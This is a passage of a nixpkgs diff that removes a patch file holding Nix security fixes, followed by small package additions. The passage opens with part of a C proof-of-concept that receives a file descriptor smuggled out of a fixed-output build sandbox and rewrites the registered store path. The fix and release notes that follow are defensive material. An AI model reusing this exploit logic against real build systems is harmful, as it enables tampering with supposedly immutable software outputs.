-+
-+    // Receive the file descriptor as sent by the smuggler.
-+    recvmsg(a, &msg, 0);
-+
-+    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
-+    while (hdr) {
-+        if (hdr->cmsg_level == SOL_SOCKET
-+          && hdr->cmsg_type == SCM_RIGHTS) {
-+
-+            // Grab the copy of the file descriptor.
-+            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
-+        }
-+
-+        hdr = CMSG_NXTHDR(&msg, hdr);
-+    }
-+    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
-+    close(a);
-+
-+    // Wait for a second connection, which will tell us that the build is
-+    // done
-+    a = accept(sock, 0, 0);
-+    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
-+    // Write a new content to the file
-+    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
-+    char * new_content = "Pwned\n";
-+    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
-+    if (written_bytes != strlen(new_content)) perror("write");
-+}
-- 
-2.42.0
-
-
-From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001
-From: Tom Bereknyei <tomberek@gmail.com>
-Date: Fri, 1 Mar 2024 03:45:39 -0500
-Subject: [PATCH 2/3] Copy the output of fixed-output derivations before
- registering them
-
-It is possible to exfiltrate a file descriptor out of the build sandbox
-of FODs, and use it to modify the store path after it has been
-registered.
-To avoid that issue, don't register the output of the build, but a copy
-of it (that will be free of any leaked file descriptor).
-
-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
-Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
- src/libstore/build/local-derivation-goal.cc | 6 ++++++
- src/libutil/filesystem.cc                   | 6 ++++++
- src/libutil/util.hh                         | 7 +++++++
- 3 files changed, 19 insertions(+)
-
-diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
-index 64b55ca6a..f1e22f829 100644
--- a/src/libstore/build/local-derivation-goal.cc
-+++ b/src/libstore/build/local-derivation-goal.cc
-@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
-             [&](const DerivationOutput::CAFixed & dof) {
-                 auto & wanted = dof.ca.hash;
- 
-+                // Replace the output by a fresh copy of itself to make sure
-+                // that there's no stale file descriptor pointing to it
-+                Path tmpOutput = actualPath + ".tmp";
-+                copyFile(actualPath, tmpOutput, true);
-+                renameFile(tmpOutput, actualPath);
-+
-                 auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
-                     .method = dof.ca.method,
-                     .hashType = wanted.type,
-diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc
-index 11cc0c0e7..2a7787c0e 100644
--- a/src/libutil/filesystem.cc
-+++ b/src/libutil/filesystem.cc
-@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
-     }
- }
- 
-+
-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
-+{
-+    return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
-+}
-+
- void renameFile(const Path & oldName, const Path & newName)
- {
-     fs::rename(oldName, newName);
-diff --git a/src/libutil/util.hh b/src/libutil/util.hh
-index b302d6f45..59d42e0a5 100644
--- a/src/libutil/util.hh
-+++ b/src/libutil/util.hh
-@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst);
-  */
- void moveFile(const Path & src, const Path & dst);
- 
-+/**
-+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
-+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
-+ * with the guaranty that the destination will be “fresh”, with no stale inode
-+ * or file descriptor pointing to it).
-+ */
-+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
- 
- /**
-  * Wrappers arount read()/write() that read/write exactly the
-- 
-2.42.0
-
-
-From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001
-From: Tom Bereknyei <tomberek@gmail.com>
-Date: Fri, 1 Mar 2024 04:01:23 -0500
-Subject: [PATCH 3/3] Add release notes
-
-Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
---
- doc/manual/src/release-notes/rl-next.md | 8 ++++++++
- 1 file changed, 8 insertions(+)
-
-diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md
-index c869b5e2f..f77513385 100644
--- a/doc/manual/src/release-notes/rl-next.md
-+++ b/doc/manual/src/release-notes/rl-next.md
-@@ -1 +1,9 @@
- # Release X.Y (202?-??-??)
-+
-+- Fix a FOD sandbox escape:
-+    Cooperating Nix derivations could send file descriptors to files in the Nix
-+    store to each other via Unix domain sockets in the abstract namespace. This
-+    allowed one derivation to modify the output of the other derivation, after Nix
-+    has registered the path as "valid" and immutable in the Nix database.
-+    In particular, this allowed the output of fixed-output derivations to be
-+    modified from their expected content. This isn't the case any more.
-- 
-2.42.0
-
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@ -1085,6 +1085,8 @@ with pkgs;

  ruler = callPackage ../tools/security/ruler { };

+  magika = with python3Packages; toPythonApplication magika;
+
  mblock-mlink = callPackage ../development/tools/mblock-mlink { };

  mod = callPackage ../development/tools/mod { };
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@ -6917,6 +6917,8 @@ self: super: with self; {

  magic-wormhole-transit-relay = callPackage ../development/python-modules/magic-wormhole-transit-relay { };

+  magika = callPackage ../development/python-modules/magika { };
+
  mahotas = callPackage ../development/python-modules/mahotas { };

  mailcap-fix = callPackage ../development/python-modules/mailcap-fix { };